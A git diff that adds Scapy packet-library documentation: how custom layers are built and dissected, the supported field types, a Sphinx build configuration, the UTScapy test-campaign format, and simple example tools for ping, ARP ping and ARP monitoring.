+              ]
+            
+          def post_build(self, p, pay):
+            if self.len is None and pay:
+                l = len(pay)
+                p = p[:1] + hex(l)[2:]+ p[2:]
+            return p+pay
+
+When ``post_build()`` is called, ``p``  is the current layer, ``pay`` the payload,
+that is what has already been built. We want our length to be the full
+length of the data put after  the separator, so we add its computation
+in ``post_build()``. 
+
+::
+
+    >>> p = Foo()/("X"*32)
+    >>> p.show2()
+    ###[ Foo ]###
+      type= 0
+      len= 32
+      sep= '\r\n'
+    ###[ Raw ]###
+         load= 'XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX'
+
+``len`` is correctly computed now::
+
+    >>> hexdump(raw(p))
+    0000   00 32 30 0D 0A 58 58 58  58 58 58 58 58 58 58 58   .20..XXXXXXXXXXX
+    0010   58 58 58 58 58 58 58 58  58 58 58 58 58 58 58 58   XXXXXXXXXXXXXXXX
+    0020   58 58 58 58 58                                     XXXXX
+
+And the machine representation is the expected one.
+
+
+Handling default values: automatic computation
+----------------------------------------------
+
+As we have previously seen, the dissection mechanism is built upon the
+links between  the layers created  by the programmer. However,  it can
+also be used during the building process.
+
+In the  layer ``Foo()``, our  first byte is  the type, which  defines what
+comes next, e.g. if ``type=0``, next layer is ``Bar0``, if it is 1, next layer
+is  ``Bar1``,  and  so on.  We  would  like  then  this  field to  be  set
+automatically according to what comes next.
+ 
+::
+
+    class Bar1(Packet):
+        fields_desc = [
+              IntField("val", 0),
+              ]
+    
+    class Bar2(Packet):
+        fields_desc = [
+              IPField("addr", "127.0.0.1")
+              ]
+
+If we use  these classes with nothing else, we  will have trouble when
+dissecting the  packets as nothing  binds Foo layer with  the multiple
+``Bar*`` even when we explicitly build the packet through the call to
+``show2()``::
+
+    >>> p = Foo()/Bar1(val=1337)
+    >>> p
+    <Foo  |<Bar1  val=1337 |>>
+    >>> p.show2()
+    ###[ Foo ]###
+      type= 0
+      len= 4
+      sep= '\r\n'
+    ###[ Raw ]###
+        load= '\x00\x00\x059'
+
+Problems:
+ 
+1. ``type`` is still  equal to 0 while we wanted  it to be automatically
+   set to 1. We could of course have built ``p`` with ``p = Foo(type=1)/Bar0(val=1337)``
+   but this is not very convenient.
+   
+2. the packet is badly dissected as ``Bar1`` is regarded as ``Raw``. This
+   is because no links have been set between ``Foo()`` and ``Bar*()``.
+
+In order to  understand what we should have done  to obtain the proper
+behavior,  we must look  at how  the layers  are assembled.   When two
+independent packets instances ``Foo()`` and ``Bar1(val=1337)`` are
+compounded with the '/' operator, it results in a new packet where the
+two previous instances are cloned  (i.e.  are now two distinct objects
+structurally different, but holding the same values)::
+
+    def __div__(self, other):
+        if isinstance(other, Packet):
+            cloneA = self.copy()
+            cloneB = other.copy()
+            cloneA.add_payload(cloneB)
+            return cloneA
+        elif type(other) is str:
+            return self/Raw(load=other)
+
+The right  hand side of the  operator becomes the payload  of the left
+hand    side.    This    is    performed   through    the   call    to
+``add_payload()``. Finally, the new packet is returned.
+
+Note: we can observe that if  other isn't a ``Packet`` but a string,
+the ``Raw``  class is instantiated to  form the payload.  Like in this
+example::
+
+    >>> IP()/"AAAA"
+    <IP  |<Raw  load='AAAA' |>>
+
+Well, what  ``add_payload()`` should implement? Just  a link between
+two packets? Not only, in  our case this method will appropriately set
+the correct value to ``type``.
+
+Instinctively  we feel that  the upper  layer (the  right of  '/') can
+gather the  values to set the fields  to the lower layer  (the left of
+'/').  Like  previously explained, there is a  convenient mechanism to
+specify  the  bindings in  both  directions  between two  neighbouring
+layers.
+
+Once again, these information must be provided to ``bind_layers()``,
+which  will   internally  call  ``bind_top_down()``   in  charge  to
+aggregate the fields to overload. In our case what we needs to specify
+is::
+
+    bind_layers( Foo, Bar1, {'type':1} )
+    bind_layers( Foo, Bar2, {'type':2} )
+
+Then, ``add_payload()``  iterates over the  ``overload_fields`` of
+the upper packet (the payload), get the fields associated to the lower
+packet (by its type) and insert them in ``overloaded_fields``.
+ 
+For  now,   when  the   value  of  this   field  will   be  requested,
+``getfieldval()``    will    return    the   value    inserted    in
+``overloaded_fields``.
+
+The fields are dispatched between three dictionaries:
+
+- ``fields``: fields whose the value have been explicitly set, like
+  ``pdst`` in TCP (``pdst='42'``)
+- ``overloaded_fields``: overloaded fields
+- ``default_fields``: all the fields with their default value (these fields 
+    are initialized according to ``fields_desc`` by the constructor 
+    by calling ``init_fields()`` ).
+
+In the following code we can observe how a field is selected and its
+value returned::
+
+    def getfieldval(self, attr):
+       for f in self.fields, self.overloaded_fields, self.default_fields:
+           if f.has_key(attr):
+               return f[attr]
+       return self.payload.getfieldval(attr)
+
+Fields  inserted  in  ``fields``  have  the  higher  priority,  then
+``overloaded_fields``, then finally ``default_fields``.  Hence, if
+the field ``type`` is set in ``overloaded_fields``, its value will
+be returned instead of the value contained in ``default_fields``.
+
+
+We are now able to understand all the magic behind it!
+
+::
+
+    >>> p = Foo()/Bar1(val=0x1337)
+    >>> p
+    <Foo  type=1 |<Bar1  val=4919 |>>
+    >>> p.show()
+    ###[ Foo ]###
+      type= 1
+      len= 4
+      sep= '\r\n'
+    ###[ Bar1 ]###
+        val= 4919
+        
+Our 2 problems have been solved without us doing much: so good to be
+lazy :)
+
+Under the hood: putting everything together
+-------------------------------------------
+
+Last but not least, it is very useful to understand when each function
+is called when a packet is built::
+
+    >>> hexdump(raw(p))
+    Packet.str=Foo
+    Packet.iter=Foo
+    Packet.iter=Bar1
+    Packet.build=Foo
+    Packet.build=Bar1
+    Packet.post_build=Bar1
+    Packet.post_build=Foo
+
+As you can see, it first runs through the list of each field, and then
+build  them starting  from the  beginning. Once  all layers  have been
+built, it then calls ``post_build()`` starting from the end.
+
+
+Fields 
+======
+
+.. index::
+   single: fields
+
+Here's a list of fields that Scapy supports out of the box:     
+
+Simple datatypes
+----------------
+
+Legend: 
+
+- ``X`` - hexadecimal representation
+- ``LE`` - little endian (default is big endian = network byte order)
+- ``Signed`` - signed (default is unsigned)
+
+::
+
+    ByteField           
+    XByteField    
+    
+    ShortField
+    SignedShortField
+    LEShortField
+    XShortField
+    
+    X3BytesField        # three bytes (in hexad 
+    
+    IntField
+    SignedIntField
+    LEIntField
+    LESignedIntField
+    XIntField
+    
+    LongField
+    LELongField
+    XLongField
+    LELongField
+    
+    IEEEFloatField
+    IEEEDoubleField 
+    BCDFloatField       # binary coded decimal
+    
+    BitField
+    XBitField
+    
+    BitFieldLenField    # BitField specifying a length (used in RTP)
+    FlagsField          
+    FloatField
+
+Enumerations
+------------
+
+Possible field values are taken from a given enumeration (list, dictionary, ...)  
+e.g.::
+
+    ByteEnumField("code", 4, {1:"REQUEST",2:"RESPONSE",3:"SUCCESS",4:"FAILURE"})
+
+::
+
+    EnumField(name, default, enum, fmt = "H")
+    CharEnumField
+    BitEnumField
+    ShortEnumField
+    LEShortEnumField
+    ByteEnumField
+    IntEnumField
+    SignedIntEnumField
+    LEIntEnumField
+    XShortEnumField
+
+Strings
+-------
+
+::
+
+    StrField(name, default, fmt="H", remain=0, shift=0)
+    StrLenField(name, default, fld=None, length_from=None, shift=0):
+    StrFixedLenField
+    StrNullField
+    StrStopField
+
+Lists and lengths
+-----------------
+
+::
+
+    FieldList(name, default, field, fld=None, shift=0, length_from=None, count_from=None)
+      # A list assembled and dissected with many times the same field type
+        
+      # field: instance of the field that will be used to assemble and disassemble a list item
+      # length_from: name of the FieldLenField holding the list length
+         
+    FieldLenField     #  holds the list length of a FieldList field
+    LEFieldLenField
+    
+    LenField          # contains len(pkt.payload)
+    
+    PacketField       # holds packets
+    PacketLenField    # used e.g. in ISAKMP_payload_Proposal
+    PacketListField
+
+
+Variable length fields
+^^^^^^^^^^^^^^^^^^^^^^
+
+This is about how fields that have a variable length can be handled with Scapy. These fields usually know their length from another field. Let's call them varfield and lenfield. The idea is to make each field reference the other so that when a packet is dissected, varfield can know its length from lenfield when a packet is assembled, you don't have to fill lenfield, that will deduce its value directly from varfield value.
+
+Problems arise when you realize that the relation between lenfield and varfield is not always straightforward. Sometimes, lenfield indicates a length in bytes, sometimes a number of objects. Sometimes the length includes the header part, so that you must subtract the fixed header length to deduce the varfield length. Sometimes the length is not counted in bytes but in 16bits words. Sometimes the same lenfield is used by two different varfields. Sometimes the same varfield is referenced by two lenfields, one in bytes one in 16bits words.
+
+ 
+The length field
+~~~~~~~~~~~~~~~~
+
+First, a lenfield is declared using ``FieldLenField`` (or a derivate). If its value is None when assembling a packet, its value will be deduced from the varfield that was referenced. The reference is done using either the ``length_of`` parameter or the ``count_of`` parameter. The ``count_of`` parameter has a meaning only when varfield is a field that holds a list (``PacketListField`` or ``FieldListField``). The value will be the name of the varfield, as a string. According to which parameter is used the ``i2len()`` or ``i2count()`` method will be called on the varfield value. The returned value will the be adjusted by the function provided in the adjust parameter. adjust will be applied on 2 arguments: the packet instance and the value returned by ``i2len()`` or ``i2count()``. By default, adjust does nothing::
+
+    adjust=lambda pkt,x: x
+
+For instance, if ``the_varfield`` is a list
+
+::
+
+    FieldLenField("the_lenfield", None, count_of="the_varfield")
+
+or if the length is in 16bits words::
+
+    FieldLenField("the_lenfield", None, length_of="the_varfield", adjust=lambda pkt,x:(x+1)/2)
+
+The variable length field
+~~~~~~~~~~~~~~~~~~~~~~~~~
+
+A varfield can be: ``StrLenField``, ``PacketLenField``, ``PacketListField``, ``FieldListField``, ...
+
+For the two firsts, when a packet is being dissected, their lengths are deduced from a lenfield already dissected. The link is done using the ``length_from`` parameter, which takes a function that, applied to the partly dissected packet, returns the length in bytes to take for the field. For instance::
+
+    StrLenField("the_varfield", "the_default_value", length_from = lambda pkt: pkt.the_lenfield)
+
+or
+
+::
+
+    StrLenField("the_varfield", "the_default_value", length_from = lambda pkt: pkt.the_lenfield-12)
+
+For the ``PacketListField`` and ``FieldListField`` and their derivatives, they work as above when they need a length. If they need a number of elements, the length_from parameter must be ignored and the count_from parameter must be used instead. For instance::
+
+    FieldListField("the_varfield", ["1.2.3.4"], IPField("", "0.0.0.0"), count_from = lambda pkt: pkt.the_lenfield)
+
+Examples
+^^^^^^^^
+
+::
+
+    class TestSLF(Packet):
+        fields_desc=[ FieldLenField("len", None, length_of="data"),
+                      StrLenField("data", "", length_from=lambda pkt:pkt.len) ]
+    
+    class TestPLF(Packet):
+        fields_desc=[ FieldLenField("len", None, count_of="plist"),
+                      PacketListField("plist", None, IP, count_from=lambda pkt:pkt.len) ]
+    
+    class TestFLF(Packet):
+        fields_desc=[ 
+           FieldLenField("the_lenfield", None, count_of="the_varfield"), 
+           FieldListField("the_varfield", ["1.2.3.4"], IPField("", "0.0.0.0"), 
+                           count_from = lambda pkt: pkt.the_lenfield) ]
+
+    class TestPkt(Packet):
+        fields_desc = [ ByteField("f1",65),
+                        ShortField("f2",0x4244) ]
+        def extract_padding(self, p):
+            return "", p
+    
+    class TestPLF2(Packet):
+        fields_desc = [ FieldLenField("len1", None, count_of="plist",fmt="H", adjust=lambda pkt,x:x+2),
+                        FieldLenField("len2", None, length_of="plist",fmt="I", adjust=lambda pkt,x:(x+1)/2),
+                        PacketListField("plist", None, TestPkt, length_from=lambda x:(x.len2*2)/3*3) ]
+
+Test the ``FieldListField`` class::
+    
+    >>> TestFLF("\x00\x02ABCDEFGHIJKL")
+    <TestFLF  the_lenfield=2 the_varfield=['65.66.67.68', '69.70.71.72'] |<Raw  load='IJKL' |>>
+
+
+Special
+-------
+
+::
+
+    Emph     # Wrapper to emphasize field when printing, e.g. Emph(IPField("dst", "127.0.0.1")),
+    
+    ActionField
+    
+    ConditionalField(fld, cond)
+            # Wrapper to make field 'fld' only appear if
+            # function 'cond' evals to True, e.g. 
+            # ConditionalField(XShortField("chksum",None),lambda pkt:pkt.chksumpresent==1)
+            
+    
+    PadField(fld, align, padwith=None)  
+           # Add bytes after the proxified field so that it ends at
+           # the specified alignment from its beginning
+
+TCP/IP
+------
+
+::
+
+    IPField
+    SourceIPField
+    
+    IPoptionsField
+    TCPOptionsField
+    
+    MACField
+    DestMACField(MACField)
+    SourceMACField(MACField)
+    ARPSourceMACField(MACField)
+    
+    ICMPTimeStampField
+
+802.11
+------
+
+::
+
+    Dot11AddrMACField
+    Dot11Addr2MACField
+    Dot11Addr3MACField
+    Dot11Addr4MACField
+    Dot11SCField
+
+DNS
+---
+
+::
+
+    DNSStrField
+    DNSRRCountField
+    DNSRRField
+    DNSQRField
+    RDataField
+    RDLenField
+
+ASN.1
+-----
+
+::
+
+    ASN1F_element
+    ASN1F_field
+    ASN1F_INTEGER
+    ASN1F_enum_INTEGER
+    ASN1F_STRING
+    ASN1F_OID
+    ASN1F_SEQUENCE
+    ASN1F_SEQUENCE_OF
+    ASN1F_PACKET
+    ASN1F_CHOICE
+
+Other protocols
+---------------
+
+::
+
+    NetBIOSNameField         # NetBIOS (StrFixedLenField) 
+    
+    ISAKMPTransformSetField  # ISAKMP (StrLenField) 
+    
+    TimeStampField           # NTP (BitField)
+
+
+Design patterns
+===============
+Some patterns are similar to a lot of protocols and thus can be described the same way in Scapy.
+
+The following parts will present several models and conventions that can be followed when implementing a new protocol.
+
+Field naming convention
+-----------------------
+The goal is to keep the writing of packets fluent and intuitive. The basic instructions are the following :
+
+* Use inverted camel case and common abbreviations (e.g. len, src, dst, dstPort, srcIp).
+* Wherever it is either possible or relevant, prefer using the names from the specifications. This aims to help newcomers to easily forge packets.
diff --git a/doc/scapy/conf.py b/doc/scapy/conf.py
new file mode 100644
index 0000000..70ff4a1
--- /dev/null
+++ b/doc/scapy/conf.py
@@ -0,0 +1,197 @@
+# -*- coding: utf-8 -*-
+#
+# Scapy documentation build configuration file.
+#
+# This file is execfile()d with the current directory set to its containing dir.
+#
+# The contents of this file are pickled, so don't put values in the namespace
+# that aren't pickleable (module imports are okay, they're removed automatically).
+#
+# All configuration values have a default value; values that are commented out
+# serve to show the default value.
+
+import sys, os
+
+# If your extensions are in another directory, add it here. If the directory
+# is relative to the documentation root, use os.path.abspath to make it
+# absolute, like shown here.
+#sys.path.append(os.path.abspath('some/directory'))
+
+# General configuration
+# ---------------------
+
+# Add any Sphinx extension module names here, as strings. They can be extensions
+# coming with Sphinx (named 'sphinx.ext.*') or your custom ones.
+extensions = []
+
+# Add any paths that contain templates here, relative to this directory.
+templates_path = ['_templates']
+
+# The suffix of source filenames.
+source_suffix = '.rst'
+
+# The master toctree document.
+master_doc = 'index'
+
+# General substitutions.
+project = 'Scapy'
+copyright = '2008, 2018 Philippe Biondi and the Scapy community'
+
+# The default replacements for |version| and |release|, also used in various
+# other places throughout the built documents.
+#
+# The short X.Y version.
+version = '2.3.3'
+# The full version, including alpha/beta/rc tags.
+release = '2.3.3-dev'
+
+# There are two options for replacing |today|: either, you set today to some
+# non-false value, then it is used:
+#today = ''
+# Else, today_fmt is used as the format for a strftime call.
+today_fmt = '%B %d, %Y'
+
+# List of documents that shouldn't be included in the build.
+#unused_docs = []
+
+# List of directories, relative to source directories, that shouldn't be searched
+# for source files.
+#exclude_dirs = []
+
+# The reST default role (used for this markup: `text`) to use for all documents.
+#default_role = None
+
+# If true, '()' will be appended to :func: etc. cross-reference text.
+#add_function_parentheses = True
+
+# If true, the current module name will be prepended to all description
+# unit titles (such as .. function::).
+#add_module_names = True
+
+# If true, sectionauthor and moduleauthor directives will be shown in the
+# output. They are ignored by default.
+#show_authors = False
+
+# The name of the Pygments (syntax highlighting) style to use.
+pygments_style = 'sphinx'
+
+
+# Options for HTML output
+# -----------------------
+
+# Auto detect sphinx rtd. If set to True, if sphinx rtd is installed, it will be
+# automatically used.
+auto_rtd = True
+
+# The style sheet to use for HTML and HTML Help pages. A file of that name
+# must exist either in Sphinx' static/ path, or in one of the custom paths
+# given in html_static_path.
+html_style = 'default.css'
+
+# The name for this set of Sphinx documents.  If None, it defaults to
+# "<project> v<release> documentation".
+#html_title = None
+
+# A shorter title for the navigation bar.  Default is the same as html_title.
+#html_short_title = None
+
+# The name of an image file (within the static path) to place at the top of
+# the sidebar.
+#html_logo = None
+
+# The name of an image file (within the static path) to use as favicon of the
+# docs.  This file should be a Windows icon file (.ico) being 16x16 or 32x32
+# pixels large.
+#html_favicon = None
+
+# Add any paths that contain custom static files (such as style sheets) here,
+# relative to this directory. They are copied after the builtin static files,
+# so a file named "default.css" will overwrite the builtin "default.css".
+html_static_path = ['_static']
+
+# If not '', a 'Last updated on:' timestamp is inserted at every page bottom,
+# using the given strftime format.
+html_last_updated_fmt = '%b %d, %Y'
+
+# If true, SmartyPants will be used to convert quotes and dashes to
+# typographically correct entities.
+#html_use_smartypants = True
+
+# Custom sidebar templates, maps document names to template names.
+#html_sidebars = {}
+
+# Additional templates that should be rendered to pages, maps page names to
+# template names.
+#html_additional_pages = {}
+
+# If false, no module index is generated.
+html_use_modindex = False
+
+# If false, no index is generated.
+#html_use_index = True
+
+# If true, the index is split into individual pages for each letter.
+#html_split_index = False
+
+# If true, the reST sources are included in the HTML build as _sources/<name>.
+#html_copy_source = True
+
+# If true, an OpenSearch description file will be output, and all pages will
+# contain a <link> tag referring to it.  The value of this option must be the
+# base URL from which the finished HTML is served.
+#html_use_opensearch = ''
+
+# If nonempty, this is the file name suffix for HTML files (e.g. ".xhtml").
+#html_file_suffix = ''
+
+# Output file base name for HTML help builder.
+htmlhelp_basename = 'Scapydoc'
+
+
+# Options for LaTeX output
+# ------------------------
+
+# The paper size ('letter' or 'a4').
+latex_paper_size = 'a4'
+
+# The font size ('10pt', '11pt' or '12pt').
+latex_font_size = '11pt'
+
+# Grouping the document tree into LaTeX files. List of tuples
+# (source start file, target name, title, author, document class [howto/manual]).
+latex_documents = [
+  ('index', 'Scapy.tex', 'Scapy Documentation',
+   'Philippe Biondi and the Scapy community', 'manual'),
+]
+
+# The name of an image file (relative to this directory) to place at the top of
+# the title page.
+#latex_logo = None
+
+# For "manual" documents, if this is true, then toplevel headings are parts,
+# not chapters.
+#latex_use_parts = False
+
+# Additional stuff for the LaTeX preamble.
+#latex_preamble = ''
+
+# Documents to append as an appendix to all manuals.
+#latex_appendices = []
+
+# If false, no module index is generated.
+latex_use_modindex = False
+
+#############################################
+########       END OF CONFIG FILE    ########
+######## DO NOT EDIT BELOW THIS LINE ########
+#############################################
+
+### Performing detect tasks ###
+if auto_rtd:
+    try:
+        import sphinx_rtd_theme
+        del html_style
+        html_theme = "sphinx_rtd_theme"
+        html_theme_path = [sphinx_rtd_theme.get_html_theme_path()]
+    except:
+        pass
diff --git a/doc/scapy/development.rst b/doc/scapy/development.rst
new file mode 100644
index 0000000..c26e0b9
--- /dev/null
+++ b/doc/scapy/development.rst
@@ -0,0 +1,244 @@
+*****************
+Scapy development
+*****************
+
+Project organization
+====================
+
+Scapy development uses the Git version control system. Scapy's
+reference repository is at https://github.com/secdev/scapy/.
+
+Project management is done with `Github
+<https://github.com/secdev/scapy/>`_.  It provides a freely editable
+`Wiki <https://github.com/secdev/scapy/wiki/>`_ (please contribute!)
+that can reference tickets, changesets, files from the project. It
+also provides a ticket management service that is used to avoid
+forgetting patches or bugs.
+
+How to contribute
+=================
+
+* Found a bug in Scapy? `Add a ticket <https://github.com/secdev/scapy/issues/new>`_.
+* Improve this documentation.
+* Program a new layer and share it on the mailing list, or create a pull request.
+* Contribute new `regression tests <https://github.com/secdev/scapy/wiki/Contrib:-RegressionTests>`_.
+* Upload packet samples for new protocols on the `packet samples page
+  <https://github.com/secdev/scapy/wiki/Contrib:-PacketSamples>`_.
+
+
+Improve the documentation
+=========================
+
+The documentation can be improved in several ways by:
+
+* Adding docstrings to the source code.
+* Adding usage examples to the documentation.
+
+Adding Docstrings
+-----------------
+The Scapy source code have few explanations of what a function is doing. A docstring, by adding explanation and
+expected input and output parameters, helps saving time for both the layer developers and the users looking for
+advanced features.
+
+An example of docstring from the ``scapy.fields.FlagsField`` class: ::
+
+  class FlagsField(BitField):
+    """ Handle Flag type field
+
+     Make sure all your flags have a label
+
+     Example:
+         >>> from scapy.packet import Packet
+         >>> class FlagsTest(Packet):
+                 fields_desc = [FlagsField("flags", 0, 8, ["f0", "f1", "f2", "f3", "f4", "f5", "f6", "f7"])]
+         >>> FlagsTest(flags=9).show2()
+         ###[ FlagsTest ]###
+           flags     = f0+f3
+         >>> FlagsTest(flags=0).show2().strip()
+         ###[ FlagsTest ]###
+           flags     =
+
+     :param name: field's name
+     :param default: default value for the field
+     :param size: number of bits in the field
+     :param names: (list or dict) label for each flag, Least Significant Bit tag's name is written first
+     """
+
+It will contain a short oneline description of the class followed by some indications about its usage.
+You can add a usage example if it makes sense using the `doctest <https://docs.python.org/2.7/library/doctest.html>`_ format.
+Finally the classic python signature can be added following the `sphinx documentation  <http://www.sphinx-doc.org/en/stable/domains.html#python-signatures>`_.
+
+This task works in pair with writing non regression unit tests.
+
+Documentation
+-------------
+A way to improve the documentation content is by keeping it up to date with the latest version of Scapy. You can also help by adding usage examples of your own or directly gathered from existing online Scapy presentations.
+
+Testing with UTScapy
+====================
+
+What is UTScapy?
+----------------
+
+UTScapy is a small Python program that reads a campaign of tests, runs the campaign with Scapy and generates a report indicating test status. The report may be in one of four formats, text, ansi, HTML or LaTeX.
+
+Three basic test containers exist with UTScapy, a unit test, a test set and a test campaign. A unit test is a list of Scapy commands that will be run by Scapy or a derived work of Scapy. Evaluation of the last command in the unit test will determine the end result of the individual unit test. A test set is a group of unit tests with some association. A test campaign consists of one or more test sets. Test sets and unit tests can be given keywords to form logical groupings. When running a campaign, tests may be selected by keyword. This allows the user to run tests within a desired grouping.
+
+For each unit test, test set and campaign, a CRC32 of the test is calculated and displayed as a signature of that test. This test signature is sufficient to determine that the actual test run was the one expected and not one that has been modified. In case your dealing with evil people that try to modify or corrupt the file without changing the CRC32, a global SHA1 is computed on the whole file.
+
+Syntax of a Test Campaign
+-------------------------
+
+Table 1 shows the syntax indicators that UTScapy is looking for. The syntax specifier must appear as the first character of each line of the text file that defines the test. Text descriptions that follow the syntax specifier are arguments interpreted by UTScapy. Lines that appear without a leading syntax specifier will be treated as Python commands, provided they appear in the context of a unit test. Lines without a syntax specifier that appear outside the correct context will be rejected by UTScapy and a warning will be issued. 
+
+================   =================
+Syntax Specifier   Definition
+================   =================
+‘%’                Give the test campaign's name.
+‘+’                Announce a new test set.
+‘=’                Announce a new unit test.
+‘~’                Announce keywords for the current unit test.
+‘*’                Denotes a comment that will be included in the report.
+‘#’                Testcase annotations that are discarded by the interpreter.
+================   =================
+
+Table 1 - UTScapy Syntax Specifiers
+
+Comments placed in the test report have a context. Each comment will be associated to the last defined test container - be it a individual unit test, a test set or a test campaign. Multiple comments associated with a particular container will be concatenated together and will appear in the report directly after the test container announcement. General comments for a test file should appear before announcing a test campaign. For comments to be associated with a test campaign, they must appear after declaration of the test campaign but before any test set or unit test. Comments for a test set should appear before definition of the set’s first unit test.
+
+The generic format for a test campaign is shown in the following table::
+
+    % Test Campaign Name
+    * Comment describing this campaign
+
+    
+    + Test Set 1
+    * comments for test set 1
+    
+    = Unit Test 1
+    ~ keywords
+    * Comments for unit test 1
+    # Python statements follow
+    a = 1
+    print a
+    a == 1
+
+
+Python statements are identified by the lack of a defined UTScapy syntax specifier. The Python statements are fed directly to the Python interpreter as if one is operating within the interactive Scapy shell (``interact``). Looping, iteration and conditionals are permissible but must be terminated by a blank line. A test set may be comprised of multiple unit tests and multiple test sets may be defined for each campaign. It is even possible to have multiple test campaigns in a particular test definition file. The use of keywords allows testing of subsets of the entire campaign. For example, during development of a test campaign, the user may wish to mark new tests under development with the keyword “debug”. Once the tests run successfully to their desired conclusion, the keyword “debug” could be removed. Keywords such as “regression” or “limited” could be used as well.
+
+It is important to note that UTScapy uses the truth value from the last Python statement as the indicator as to whether a test passed or failed. Multiple logical tests may appear on the last line. If the result is 0 or False, the test fails. Otherwise, the test passes. Use of an assert() statement can force evaluation of intermediate values if needed.
+
+The syntax for UTScapy is shown in Table 3 - UTScapy command line syntax::
+
+    [root@localhost scapy]# ./UTscapy.py –h
+    Usage: UTscapy [-m module] [-f {text|ansi|HTML|LaTeX}] [-o output_file]
+                   [-t testfile] [-k keywords [-k ...]] [-K keywords [-K ...]]
+                   [-l] [-d|-D] [-F] [-q[q]]
+    -l              : generate local files
+    -F              : expand only failed tests
+    -d              : dump campaign
+    -D              : dump campaign and stop
+    -C              : don't calculate CRC and SHA
+    -q              : quiet mode
+    -qq             : [silent mode]
+    -n <testnum>    : only tests whose numbers are given (eg. 1,3-7,12)
+    -m <module>     : additional module to put in the namespace
+    -k <kw1>,<kw2>,...      : include only tests with one of those keywords (can be used many times)
+    -K <kw1>,<kw2>,...      : remove tests with one of those keywords (can be used many times)
+
+Table 3 - UTScapy command line syntax
+
+All arguments are optional. Arguments that have no associated argument value may be strung together (i.e. ``–lqF``). If no testfile is specified, the test definition comes from <STDIN>. Similarly, if no output file is specified it is directed to <STDOUT>. The default output format is “ansi”. Table 4 lists the arguments, the associated argument value and their meaning to UTScapy.
+
+==========  ==============  =============================================================================
+Argument    Argument Value  Meaning to UTScapy
+==========  ==============  =============================================================================
+-t          testfile        Input test file defining test campaign (default = <STDIN>)
+-o          output_file     File for output of test campaign results (default = <STDOUT>)
+-f          test            ansi, HTML, LaTeX, Format out output report (default = ansi)
+-l                          Generate report associated files locally. For HTML, generates JavaScript 
+                            and the style sheet
+-F                          Failed test cases will be initially expanded by default in HTML output
+-d                          Print a terse listing of the campaign before executing the campaign
+-D                          Print a terse listing of the campaign and stop. Do not execute campaign
+-C                          Do not calculate test signatures
+-q                          Do not update test progress to the screen as tests are executed
+-qq                         Silent mode
+-n          testnum         Execute only those tests listed by number. Test numbers may be
+                            retrieved using –d or –D. Tests may be listed as a comma
+                            separated list and may include ranges (e.g. 1, 3-7, 12)
+-m          module          Load module before executing tests. Useful in testing derived works of Scapy.
+                            Note: Derived works that are intended to execute as "__main__" will not be
+                            invoked by UTScapy as “__main__”.
+-k          kw1, kw2, ...   Include only tests with keyword “kw1”. Multiple keywords may be specified.
+-K          kw1, kw2, ...   Exclude tests with keyword “kw1”. Multiple keywords may be specified.  
+==========  ==============  =============================================================================
+
+Table 4 - UTScapy parameters
+
+Table 5 shows a simple test campaign with multiple test set definitions. Additionally, keywords are specified that allow a limited number of test cases to be executed. Notice the use of the ``assert()`` statement in test 3 and 5 used to check intermediate results. Tests 2 and 5 will fail by design.
+
+:: 
+
+    % Example Test Campaign
+    
+    # Comment describing this campaign
+    #
+    # To run this campaign, try:
+    #   ./UTscapy.py -t example_campaign.txt -f html -o example_campaign.html -F
+    #
+    
+    * This comment is associated with the test campaign and will appear 
+    * in the produced output.
+    
+    + Test Set 1
+    
+    = Unit Test 1
+    ~ test_set_1 simple
+    a = 1
+    print a
+    
+    = Unit test 2
+    ~ test_set_1 simple
+    * this test will fail
+    b = 2
+    a == b
+    
+    = Unit test 3
+    ~ test_set_1 harder
+    a = 1
+    b = 2
+    c = "hello"
+    assert (a != b)
+    c == "hello"
+    
+    + Test Set 2
+    
+    = Unit Test 4
+    ~ test_set_2 harder
+    b = 2
+    d = b
+    d is b
+    
+    = Unit Test 5
+    ~ test_set_2 harder hardest
+    a = 2
+    b = 3
+    d = 4
+    e = (a * b)**d
+    # The following statement evaluates to False but is not last; continue
+    e == 6
+    # assert evaluates to False; stop test and fail
+    assert (e == 7)
+    e == 1296
+    
+    = Unit Test 6
+    ~ test_set_2 hardest
+    print e
+    e == 1296
+
+To see an example that is targeted to Scapy, go to http://www.secdev.org/projects/UTscapy. Cut and paste the example at the bottom of the page to the file ``demo_campaign.txt`` and run UTScapy against it::
+
+./test/run_tests -t demo_campaign.txt -f html -o demo_campaign.html -F -l
+
+Examine the output generated in file ``demo_campaign.html``.
diff --git a/doc/scapy/extending.rst b/doc/scapy/extending.rst
new file mode 100644
index 0000000..95ed628
--- /dev/null
+++ b/doc/scapy/extending.rst
@@ -0,0 +1,98 @@
+********************
+Build your own tools
+********************
+
+You can use Scapy to make your own automated tools. You can also extend Scapy without having to edit its source file.
+
+If you have built some interesting tools, please contribute back to the mailing-list!
+
+    
+Using Scapy in your tools
+=========================
+You can easily use Scapy in your own tools. Just import what you need and do it.
+
+This first example take an IP or a name as first parameter, send an ICMP echo request packet and display the completely dissected return packet::
+
+    #! /usr/bin/env python
+    
+    import sys
+    from scapy.all import sr1,IP,ICMP
+    
+    p=sr1(IP(dst=sys.argv[1])/ICMP())
+    if p:
+        p.show()
+
+This is a more complex example which does an ARP ping and reports what it found with LaTeX formatting::
+
+    #! /usr/bin/env python
+    # arping2tex : arpings a network and outputs a LaTeX table as a result
+    
+    import sys
+    if len(sys.argv) != 2:
+        print "Usage: arping2tex <net>\n  eg: arping2tex 192.168.1.0/24"
+        sys.exit(1)
+    
+    from scapy.all import srp,Ether,ARP,conf
+    conf.verb=0
+    ans,unans=srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=sys.argv[1]),
+                  timeout=2)
+    
+    print r"\begin{tabular}{|l|l|}"
+    print r"\hline"
+    print r"MAC & IP\\"
+    print r"\hline"
+    for snd,rcv in ans:
+        print rcv.sprintf(r"%Ether.src% & %ARP.psrc%\\")
+    print r"\hline"
+    print r"\end{tabular}"
+
+Here is another tool that will constantly monitor all interfaces on a machine and print all ARP request it sees, even on 802.11 frames from a Wi-Fi card in monitor mode. Note the store=0 parameter to sniff() to avoid storing all packets in memory for nothing::
+
+    #! /usr/bin/env python
+    from scapy.all import *
+    
+    def arp_monitor_callback(pkt):
+        if ARP in pkt and pkt[ARP].op in (1,2): #who-has or is-at
+            return pkt.sprintf("%ARP.hwsrc% %ARP.psrc%")
+    
+    sniff(prn=arp_monitor_callback, filter="arp", store=0)
+
+For a real life example, you can check `Wifitap <http://sid.rstack.org/static/articles/w/i/f/Wifitap_EN_9613.html>`_.
+
+
+Extending Scapy with add-ons
+============================
+
